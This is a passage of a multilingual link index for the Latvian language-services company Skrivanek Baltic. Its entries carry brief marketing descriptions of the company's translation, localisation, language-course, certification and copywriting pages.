языка](https://skrivanek.lv/ru/uslugi/jazikovije-kursi/izuchenije-latishskovo-jazika/): Обучение латышскому языку для частных лиц и предприятий. Изучение латышского языка в очном порядке или в режиме онлайн. Профессиональные преподаватели. Эффективные методы обучения. - [Изучение русского языка](https://skrivanek.lv/ru/uslugi/jazikovije-kursi/izuchenije-russkovo-jazika/): Обучение русскому языку для частных лиц и предприятий. В очном режиме или режиме онлайн. Эффективные методы обучения. Профессиональные преподаватели. Узнайте больше! - [OCR – оптическое распознавание символов](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): Сотрудничество с компанией Skrivanek гарантирует, что документы будут правильно cчитаны, а затем переведены на нужный иностранный язык. - [Проверка и исправление маркетингового текста, созданного искусственным интеллектом (ИИ)](https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/): Эксперты убеждены, что для достижения бизнес-результатов и эффективной коммуникации за рубежом не обойтись без поддержки профессионалов-лингвистов. - [Легкий язык и простой язык](https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/): Узнайте, каковы возможности легкого языка и простого языка. Мы преобразуем сложное содержание в ясное и простое для понимания. Свяжитесь со Skrivanek! - [Локализация аудио- и видеофайлов](https://skrivanek.lv/pakalpojumi/lokalizacija/audio-un-video-failu-lokalizacija/): Профессиональная локализация аудио- и видеофайлов. Более чем 25-летний опыт. Получите бесплатный расчет стоимости! - [Э-коммерция – перевод и локализация контента интернет-магазинов](https://skrivanek.lv/e-komercija-interneta-veikalu-tulkosana-un-lokalizesana/): Хотите продавать свои товары и услуги зарубежным клиентам? Мы обеспечим перевод и локализацию контента вашего интернет-магазина более чем на 110 языков. - [Общие переводы](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/visparigi-tulkojumi/): Сертифицированное бюро переводов. Переводы различных документов. Более чем 25-летний опыт. Свяжитесь с нам! - [Переводы в Елгаве](https://skrivanek.lv/pakalpojumi/tulkojumi-jelgava/): Сэкономьте время и средства, заказав языковые услуги онлайн! Быстро и удобно – получите предложение, подготовленное специально для вас! - [Переводы в Вентспилсе](https://skrivanek.lv/pakalpojumi/tulkojumi-ventspili/): Сэкономьте время и средства, заказав языковые услуги онлайн! Отправьте нам запрос и получите подходящее для вас языковое решение! - [Переводы в Юрмале](https://skrivanek.lv/pakalpojumi/tulkojumi-jurmala/): Бюро переводов с более чем 25-летним опытом! Сэкономьте время и средства, заказав языковые услуги онлайн! Свяжитесь с нам! - [Translations into Portuguese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/): Document translations, interpreting, language courses and other language solutions in Portuguese. Find out more! - [Военные переводы и военные переводчики](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Мы обладаем значительным опытом в сфере перевода военных текстов для вооруженных сил и оборонной промышленности. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Ценностью компании Skrivanek является ответственность перед клиентом, что включает в себя точность машинного перевода. Мы сертифицированы по стандарту ISO 18587. - [Tulkojumi no krievu valodas vācu valodā / no vācu valodas krievu valodā](https://skrivanek.lv/tulkojumi-no-krievu-valodas-vacu-valoda-no-vacu-valodas-krievu-valoda/): Skrivanek Baltic pieredzējušie tulkotāji piedāvā profesionālus pakalpojumus tulkošanā no/uz krievu/vācu valodās. - [Übersetzung und Lokalisierung von Websites](https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/): Wir bieten optimale Lokalisierungen, um sicherzustellen, dass Ihre Webseite den Bedürfnissen und lokalen Besonderheiten Ihrer Region oder Ihres Marktes entspricht. - [Latviešu valodas padomu grāmata 2024](https://skrivanek.lv/latviesu-valodas-padomu-gramata/): Apkopojām 100 latviešu valodas padomus skaistā un praktiskā grāmatā, kuru varat LEJUPIELĀDĒT bez maksas! Noderēs lietišķajā saziņā un sadzīvē - [Videonovērošana](https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/): Skrivanek ir valodu uzņēmums ar vairāk nekā 25 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. - [Video surveillance](https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/): Skrivanek is a language company with 25+ years of experience – professional and high quality language services for companies and individuals. - [Видеонаблюдение](https://skrivanek.lv/videonoverosana-skrivanek-baltic-tulkosanas-pakalpojumi/): Skrivanek – это языковая компания с 25+-летним опытом работы – профессиональные и качественные языковые услуги для компаний и частных лиц. - [Thanks for Your Request B2B](https://skrivanek.lv/paldies-par-pieprasijumu-b2b/): Thank you for... - [Спасибо за Ваш запрос B2B](https://skrivanek.lv/paldies-par-pieprasijumu-b2b/): Благодарим за обращение... - [Skrivanek Balticu keeleekspertidest meeskond pakub tipptasemel tõlkeid nii ettevõtetele kui ka eraisikutele. Vajate abi konkreetse projektiga? Tasuta hinnapakkumise või lisateabe saamiseks võtke ühendust juba täna. Ootame teiega koostööd!](https://skrivanek.lv/et/skrivanek-balticu-keeleekspertidest-meeskond-pakub-tipptasemel-tolkeid-nii-ettevotetele-kui-ka-eraisikutele-vajate-abi-konkreetse-projektiga-tasuta-hinnapakkumise-voi-lisateabe-saamiseks-votke-uhend/): Skrivaneki kogenud tõlkijad pakuvad ettevõtetele ja eraisikutele professionaalseid tõlketeenuseid tekstide tõlkimiseks vene keelde ja vene keelest inglise keelde. - [Переводы с латышского на английский / с английского на латышский язык](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Необходим перевод с латышского на английский язык? Выберите Skrivanek Baltic – компанию, предлагающую переводы на 110+ языков. - [Professionaalsed kirjalikud tõlked läti keelest inglise keelde ja inglise keelest läti keelde](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Vajate professionaalset kirjalikku tõlget läti keelest inglise keelde? Valige Skrivanek tõlgeteks 110+ keelde. Hinnapakkumised ja kvaliteetsed tulemused otse veebis. - [Ammattitaitoiset käännöspalvelut latviasta englantiin ja englannista latviaan](https://skrivanek.lv/profesionali-tulkosanas-pakalpojumi-no-latviesu-valodas-anglu-valoda-un-no-anglu-valodas-latviesu-valoda/): Etsitkö ammattitaitoista käännöstä latviasta englantiin? Valitse Skrivanek Baltic saadaksesi käännöksiä 100+ kielellä. - [Käännöspalvelut venäjästä englantiin / englannista venäjään](https://skrivanek.lv/fi/kaannospalvelut-venajasta-englantiin/): Skrivanekin kokeneet kääntäjät tarjoavat ammattitaitoisia käännöspalveluita teksteille venäjäksi ja venäjästä englantiin sekä yrityksille että yksityishenkilöille. - [Переводы с русского на немецкий / с немецкого на русский язык](https://skrivanek.lv/tulkojumi-no-krievu-valodas-vacu-valoda-no-vacu-valodas-krievu-valoda/): Опытные переводчики Skrivanek Baltic предоставляют профессиональные услуги перевода текстов с/на русский с/на немецкий язык. - [Virtuālais asistents](https://skrivanek.lv/pakalpojumi/virtualais-asistents/): Piedāvājam izbaudīt Skrivanek piedāvātos sarunbotu pakalpojumus. Nodrošiniet atbildes uz klientu jautājumiem 24/7. Sazinieties jau šodien! - [Virtual assistant](https://skrivanek.lv/pakalpojumi/virtualais-asistents/): Enjoy the chatbot services offered by Skrivanek. Provide answers to your customers' questions 24/7. Get in touch today! - [Tekstien kieliopillinen ja tyylillinen parantaminen](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Paranna sisältöäsi oikoluku- ja tyylilukupalveluillamme. Äidinkieliset puhujat varmistavat selkeyden ja tarkkuuden. Ota yhteyttä Skrivanekiin! - [Luova copywriting](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Koe Skrivanek Baltic copywriting-palvelut. Muunna sisältösi, vangitse yleisösi. Sinun sanasi, meidän käsityömme. - [Creative copywriting](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Experience Skrivanek’s copywriting services. Transform your content, captivate your audience. Your words, our craft. - [Adattamento di testi e copywriting creativo](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Provate i servizi di adattamento testi e copywriting di Skrivanek. Trasformate i vostri contenuti, conquistate il vostro pubblico. Le vostre parole, il nostro mestiere. - [Miglioramento grammaticale e stilistico dei testi](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Migliorate i vostri contenuti con i nostri servizi di revisione e stilistica. I madrelingua garantiscono chiarezza e precisione. 🚀 Contattate Skrivanek! - [Copywriting creativo](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Provate i servizi di copywriting di Skrivanek. Trasformate i vostri contenuti, conquistate il vostro pubblico. Le vostre parole, il nostro mestiere. - [Tekstų adaptacija ir kūrybinių tekstų kūrimas (copywriting)](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Išbandykite Skrivanek tekstų adaptacija ir copywriting. Pakeiskite savo turinį, sužavėkite auditoriją. Jūsų žodžiai, mūsų amatas. - [Kūrybinių tekstų kūrimas (copywriting)](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Išbandykite Skrivanek tekstų rašymo paslaugas. Pakeiskite savo turinį, sužavėkite auditoriją. Jūsų žodžiai, mūsų amatas. - [Tekstų gramatinis ir stilistinis tobulinimas](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Patobulinkite savo turinį naudodamiesi mūsų tekstų taisymo ir stilistikos paslaugomis. Gimtakalbiai kalbėtojai užtikrina aiškumą ir tikslumą. 🚀 Susisiekite su Skrivanek! - [Text adaptation and creative copywriting](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Experience Skrivanek’s text adaptation and copywriting services. Transform your content, captivate your audience. Your words, our craft. - [Grammatical and stylistic improvement of texts](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Enhance your content with our proofreading and stylistic services. Native speakers ensure clarity and precision. 🚀 Contact Skrivanek! - [Адаптация текстов и подготовка креативных текстов (копирайтинг)](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Ознакомьтесь с услугами Skrivanek по адаптации текстов и копирайтингу. Преобразуйте свой контент, увлеките свою аудиторию. Ваши слова, наше ремесло. - [Грамматическое и стилистическое исправление текстов](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Улучшите свой контент с помощью наших услуг по корректуре и стилистике. Носители языка обеспечивают ясность и точность. 🚀 Обращайтесь! - [Tekstide adapteerimine ja loovtekstide kirjutamine (copywriting)](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Tutvuge Skrivanek Tekstide adapteerimine ja copywriting teenustega. Muutke oma sisu, köitke oma publikut. Teie sõnad, meie meisterlikkus. - [Loovtekstide kirjutamine (copywriting)](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Kogemused Skrivaneki copywriting teenuste kohta. Muutke oma sisu, köitke oma publikut. Teie sõnad, meie käsitöö. - [Tekstide grammatiline ja stilistiline parandamine](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Parandage oma sisu meie korrektuuri- ja stilistiliseerimise teenustega. Emakeeleõpetajad tagavad selguse ja täpsuse. 🚀 Kontakt Skrivanek! - [Tekstin mukauttaminen ja luova copywriting](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/): Koe Skrivanekin tekstin mukauttamis- ja copywriting-palvelut. Muunna sisältösi, vangitse yleisösi. Sinun sanasi, meidän käsityömme. - [Vieglā valoda un vienkāršā valoda](https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/): Atklāj, ko piedāvā vieglā valoda un vienkārša valoda. Pārveidojam sarežģīto skaidrā un viegli saprotamā saturā. Sazinies ar Skrivanek! - [Plain and Easy-to-Read Language](https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/): Discover what plain and easy-to-read language have to offer. Making complex and difficult-to-understand into easy and plain text. Contact! - [Localizzazione di videogiochi](https://skrivanek.lv/videospelu-lokalizacija/): Per raggiungere il più ampio pubblico possibile di videogiochi, una localizzazione di successo è uno degli aspetti più importanti. - [Mākslīgā intelekta (MI) ģenerēta mārketinga teksta pārbaude un labošana](https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/): Eksperti ir pārliecināti – lai sasniegtu biznesa rezultātus un saziņa ārvalstīs būtu efektīva, bez valodu profesionāļu atbalsta neiztikt. - [AI-generated marketing text proofreading and revision](https://skrivanek.lv/maksliga-intelekta-genereta-marketinga-teksta-parbaude-un-labosana/): Experts are convinced – to achieve results and effective marketing communications abroad, the support of language professionals is a must. - [Localisation of video games](https://skrivanek.lv/videospelu-lokalizacija/): In order to reach the widest possible audience for video games, successful localisation is one of the most important aspects. - [Videomängude lokaliseerimine](https://skrivanek.lv/videospelu-lokalizacija/): Selleks, et videomängud jõuaksid võimalikult laiale publikule, on edukas lokaliseerimine üks olulisemaid aspekte. - [Videopelien lokalisointi](https://skrivanek.lv/videospelu-lokalizacija/): videopelimarkkinoilla.Jotta videopelit tavoittaisivat mahdollisimman laajan yleisön, onnistunut lokalisointi on yksi tärkeimmistä tekijöistä. - [Vaizdo žaidimų lokalizacija](https://skrivanek.lv/videospelu-lokalizacija/): Kad pasiektumėte, kiek įmanoma, platesnę vaizdo žaidimų žaidėjų auditoriją, sėkminga lokalizacija yra vienas iš svarbiausių veiksnių. - [Локализация видеоигр](https://skrivanek.lv/videospelu-lokalizacija/): Одним из важнейших аспектов в достижении максимально широкого охвата любителей видеоигр является успешная локализация. - [Radošu tekstu sagatavošana](https://skrivanek.lv/radosu-tekstu-sagatavosana/): Izbaudiet Skrivanek radošo tekstu sagatavošanas (copywriting) pakalpojumus. Mainiet saturu, aizraujiet auditoriju. Jūsu vārdi, mūsu meistarība. - [Dokumentu īstuma apliecināšana (apostille)](https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/): Nepieciešama dokumentu īstuma apliecināšana / legalizācija ar apostille? Sazinies ar mums un saņem bezmaksas cenas aprēķinu 30 minūtēs! 🕒 - [Удостоверение подлинности документов](https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/): Вам нужна аутентификация / легализация с проставлением апостиля? Свяжитесь с нами и получите бесплатное предложение за 30 минут! 🕒 - [Document legalisation with an apostille](https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/): Need document authentication / legalisation with apostille? Contact us and get a free quote in 30 minutes! 🕒 - [Videospēļu lokalizācija](https://skrivanek.lv/videospelu-lokalizacija/): Panākumu atslēga starptautiskā videospēļu tirgū – videospēļu lokalizācija. Piesakieties konsultācijai, ja vēlaties detalizētāk pārrunāt jūsu projektu! - [Blog](https://skrivanek.lv/blogs/): [vc_basic_grid post_type=”post” max_items=”1000000″ style=”load-more” items_per_page=”12″ show_filter=”yes” element_width=”3″ filter_color=”white” item=”27607″... - [L’ecosistema della traduzione e le sue integrazioni](https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/): Le più recenti soluzioni tecnologiche linguistiche per l'ecosistema e l'integrazione sono ideali per progetti con grandi volumi di contenuti multilingue. - [DTP – Desktop Publishing](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): TECNOLOGIE E... - [Servizi di trascrizione/translitterazione](https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/): Skrivanek offre servizi professionali di trascrizione e traslitterazione, convertendo il testo parlato da registrazioni audio/video in testo scritto in +110 lingue. - [Strumenti di traduzione](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Gli strumenti di traduzione (CAT) sono software speciali per traduttori progettati per aumentare la qualità e la produttività. Scoprite i loro vantaggi! - [Costo delle traduzioni](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Inviateci i vostri documenti e vi forniremo un preventivo sul prezzo del servizio prima di iniziare la traduzione. - [FAQ](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Domande e risposte sul fornitore di servizi linguistici Skrivanek Baltic. Non avete trovato una risposta alla vostra domanda? Contattateci! - [Traduzioni certificate da un notaio](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): Traduzioni certificate da un notaio. I documenti sono verificati da un notaio giurato, mentre un traduttore giurato si assume la piena responsabilità delle traduzioni. - [Traduzione automatica per le aziende](https://skrivanek.lv/masintulkosana-uznemumiem/): Skrivanek NMT è stato sviluppato durante i nostri 25 anni di esperienza e dalla competenza nel settore della traduzione del team di Skrivanek. - [Corsi di lingua lettone](https://skrivanek.lv/it/formazione-linguistica/corsi-di-lingua-lettone/): Formazione sul lettone per privati e aziende. Imparate il lettone di persona o online. Insegnanti professionisti. Metodo di apprendimento efficiente. - [Corsi di lingua russa](https://skrivanek.lv/it/formazione-linguistica/corsi-di-lingua-russa/): Formazione in russo per privati e aziende. Di persona o online. Metodo di apprendimento efficiente. Insegnanti professionisti. Per saperne di più! - [Traduzioni SEO e di Google Ads](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): Localizzeremo il vostro sito web secondo i principi SEO e lo adatteremo a GoogleAds in modo che tutti i vostri potenziali clienti possano trovarvi facilmente! - [Edilizia](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/): Servizi di qualità per il settore edile: traduzione, interpretariato, certificazione notarile. Localizzazione e formazione linguistica. Per saperne di più! - [Settori](https://skrivanek.lv/tulkosanas-nozares/): I nostri traduttori hanno un passato in medicina, legge, ingegneria e altri settori, il che contribuisce a garantire i migliori risultati. ⭐️ - [Lingua ebraica](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/): Traduzioni generali e specializzate, interpretariato e altre soluzioni linguistiche in lingua ebraica. Ottenete un qoate gratuito! - [Traduzione](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Da oltre 25 anni sul mercato! Traduciamo documenti di qualsiasi tipo e formato. Ottenete un preventivo gratuito in 15 minuti! - [Skrivanek Baltic](https://skrivanek.lv/): Un fornitore di servizi linguistici con oltre 25 anni di esperienza: servizi linguistici professionali per aziende e privati. Contattateci! - [Chi siamo](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Servizi linguistici di qualità per aziende e privati. Uno dei principali fornitori di servizi linguistici al mondo. Per saperne di più! - [Qualità e sicurezza](https://skrivanek.lv/kvalitate-un-drosiba/): Per aumentare la qualità dei servizi e migliorare le misure di sicurezza, Skrivanek ha implementato una serie di sistemi di gestione. - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): Questo certificato è la prova che la qualità dei servizi Skrivanek soddisfa le aspettative dei clienti e i requisiti legali. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): Questo certificato dimostra il nostro impegno nei confronti dell'ambiente, compreso l'uso di tecnologie e materiali ecologici, il riciclaggio, ecc. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): Questo dimostra che il nostro reclutamento di specialisti della traduzione, il processo di lavoro, l'uso di tecnologie e altri aspetti specifici del settore soddisfano i requisiti. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): Poiché uno dei valori di Skrivanek è la responsabilità verso i clienti, che include la sicurezza dei dati, abbiamo introdotto un sistema di gestione della sicurezza delle informazioni. - [ISO 18587:2017](https://skrivanek.lv/iso-18587-2017/): Il valore di Skrivanek è la responsabilità del cliente, che include l'accuratezza delle traduzioni automatiche. Siamo certificati ISO 18587. - [Informativa sulla privacy](https://skrivanek.lv/privatuma-politika/): Informativa sulla privacy del fornitore di servizi linguistici internazionali Skrivanek Baltic. Il responsabile della protezione dei dati della società Uldis Krūmiņš: dpo@skrivanek.lv. - [Lingua inglese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Traduzioni generali e specialistiche in lingua inglese. Traduzioni certificate da un notaio. Servizi di interpretazione e altri servizi in lingua inglese. - [Servizi di traduzione militare e interpreti militari](https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/): Abbiamo una notevole esperienza nella traduzione di testi di carattere militare per le forze armate e per il settore della difesa. - [OCR - Riconoscimento ottico dei caratteri](https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/): Affidandovi a Skrivanek, avrete la garanzia che i vostri documenti verranno correttamente scannerizzati e poi tradotti in una lingua straniera a vostra scelta. - [Traduzione tecnica](https://skrivanek.lv/tehniska-tulkosana/): Traduzioni professionali di documentazione tecnica, di software e di istruzioni per l’uso di attrezzature, nel rispetto della terminologia del settore. - [Consulenza linguistica e di comunicazione interculturale](https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/): Potreste non avere una seconda possibilità per fare una prima impressione. Prenotate una consulenza linguistica e di comunicazione culturale. - [Contatti](https://skrivanek.lv/kontakti/): Per farci qualsiasi domanda o per ricevere un preventivo gratuito, contattateci con il modulo di contatto! | Lāčplēša 87C, Riga | birojs@skrivanek.lv - [Interpretazione](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Servizi di interpretazione professionali in occasione di conferenze, riunioni di lavoro, trattative, udienze in tribunale, ecc. Interpreti locali e stranieri. - [Settore assicurativo](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Traduzioni specializzate, traduzioni autenticate, servizi di interpretazione e formazione linguistica. Per saperne di più! - [Finanza e settore bancario](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Servizi di qualità per il settore finanziario e bancario: traduzione, interpretazione, traduzioni autenticate e formazione linguistica. - [Risorse umane](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/): Servizi di qualità per il settore delle risorse umane: traduzione, interpretazione. Localizzazione e formazione linguistica. Per saperne di più! - [IT e gaming](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Servizi di qualità per il settore delle tecnologie dell’informazione e dei videogiochi: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - [Diritto](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/): Servizi linguistici di qualità per il settore legale: traduzione, interpretazione, traduzioni autenticate e formazione linguistica. - [Agricoltura e silvicoltura](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/): Servizi linguistici di qualità per l’agricoltura e la silvicoltura: traduzione, interpretazione, certificazione notarile. Localizzazione e formazione linguistica. Per saperne di più! - [Settore ingegneristico e delle ferrovie](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/): Servizi di qualità per i settori ingegneristico e ferroviario: traduzioni, interpretazione, traduzioni notarili, localizzazione e formazione linguistica. - [Medicina e sperimentazione clinica](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/): Servizi di qualità e specifici per il settore medico: traduzione, interpretazione, traduzioni autenticate, localizzazione e formazione linguistica. - [Pubblicità e marketing](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/): Servizi di qualità per la pubblicità e il marketing: traduzione, interpretazione, certificazione notarile. Localizzazione e formazione linguistica. - [Settore manifatturiero](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/): Servizi di qualità per l'industria manifatturiera: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - [Turismo](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/): Servizi linguistici di qualità per il settore del turismo: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - [Enti governativi e municipali](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/): Servizi linguistici per gli enti governativi e municipali: traduzione, interpretazione, traduzioni notarili e formazione linguistica. - [Commercio](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Servizi linguistici di qualità per il settore del commercio: traduzione, interpretazione, localizzazione e formazione linguistica. Per saperne di più! - [Lingua ceca](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Traduzioni generali e specializzate in lingua ceca, servizi di interpretazione. Ottenete un preventivo gratuito in 15 minuti! - [Lingua greca](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Traduzioni specialistiche e generali in lingua greca. Servizi di interpretazione e altri servizi in lingua greca. Richiedete un preventivo gratuito! - [Lingua danese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Traduzioni specialistiche e generali in lingua danese. Interpretazione e altri servizi in lingua danese. Contattateci! - [Lingua finlandese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-somu-valoda/): Traduzioni generali e specialistiche in lingua finlandese. Servizi di interpretazione e corsi individuali di lingua finlandese. Contattateci! - [Lingua svedese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/): Traduzioni generali e specializzate, interpretazione, localizzazione e corsi di lingua svedese. Contattateci! - [Lingua estone](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Traduzioni generali e specialistiche in lingua estone. Interpretazione e altri servizi in lingua estone. Richiedete un preventivo gratuito! - [Lingua spagnola](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Traduzioni generali e specializzate, interpretazione e altre soluzioni in lingua spagnola con certificazione notarile. Corsi di lingua spagnola; - [Lingua tedesca](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/): Traduzioni specializzate e generali, traduzioni autenticate, interpretazione, corsi di lingua e altre soluzioni per la lingua tedesca. - [Lingua lituana](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/): Traduzioni generiche e specialistiche, certificate dal notaio, in lingua lituana. Interpretazione e altri servizi linguistici in lingua lituana. - [Lingua polacca](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/): Traduzioni generali e specializzate, interpretazione, localizzazione e altre soluzioni in lingua polacca. Ottenete un preventivo gratuito entro 15 minuti! - [Lingua italiana](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Traduzioni generali, specialistiche e notarili in lingua italiana. Servizi di interpretazione e corsi di lingua italiana. - [Lingua francese](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/): Traduzioni generali e specializzate, traduzioni notarili, interpretazione e altre soluzioni in lingua francese. - [Localizzazione](https://skrivanek.lv/pakalpojumi/lokalizacija/): Non ci fermiamo alla traduzione, ma ci assicuriamo anche che i prodotti e i software localizzati funzionino bene. 👍️ - [Lingua russa](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/): Traduzioni generali e specializzate, servizi di interpretazione e localizzazione con certificazione notarile. Corsi di lingua russa; - [Lingue](https://skrivanek.lv/?page_id=5): Rakstiskie, mutiskie tulkojumi un citi valodu pakalpojumi visās popuārākajās Eiropas valodu kombinācijās. Sazinieties ar mums: birojs@skrivanek.lv! - [Altre lingue](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Servizi di traduzione, interpretazione e altri servizi linguistici nelle più diffuse combinazioni di lingue europee. Richiedete un preventivo gratuito! - [Formazione linguistica](https://skrivanek.lv/pakalpojumi/valodu-kursi/): Imparate le lingue in modo rapido ed efficacie presso il Centro di formazione Skrivanek. Insegnanti locali e stranieri altamente qualificati. Per saperne di più! - [Condizioni commerciali](https://skrivanek.lv/komercnoteikumi/): Skrivanek è un fornitore di servizi linguistici con oltre 25 anni di esperienza: servizi linguistici professionali per aziende e privati. - [Dichiarazione sull'utilizzo dei cookie](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): Qui troverete le risposte alle seguenti domande: Che cosa sono i cookie? Qual è lo scopo dell'utilizzo dei cookie sul nostro sito web? Come si può modificare l'uso dei cookie? ecc. - [Codice di condotta](https://skrivanek.lv/etikas-kodekss/): I principi di etica e di condotta professionale del fornitore di servizi linguistici Skrivanek Baltic sono vincolanti anche per i nostri partner di cooperazione. - [Interpretazione consecutiva](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Servizi di interpretazione consecutiva in oltre 60 lingue per tutte le situazioni di lavoro e di vita quotidiana. Interpreti locali e stranieri. Contattateci! - [Interpretazione 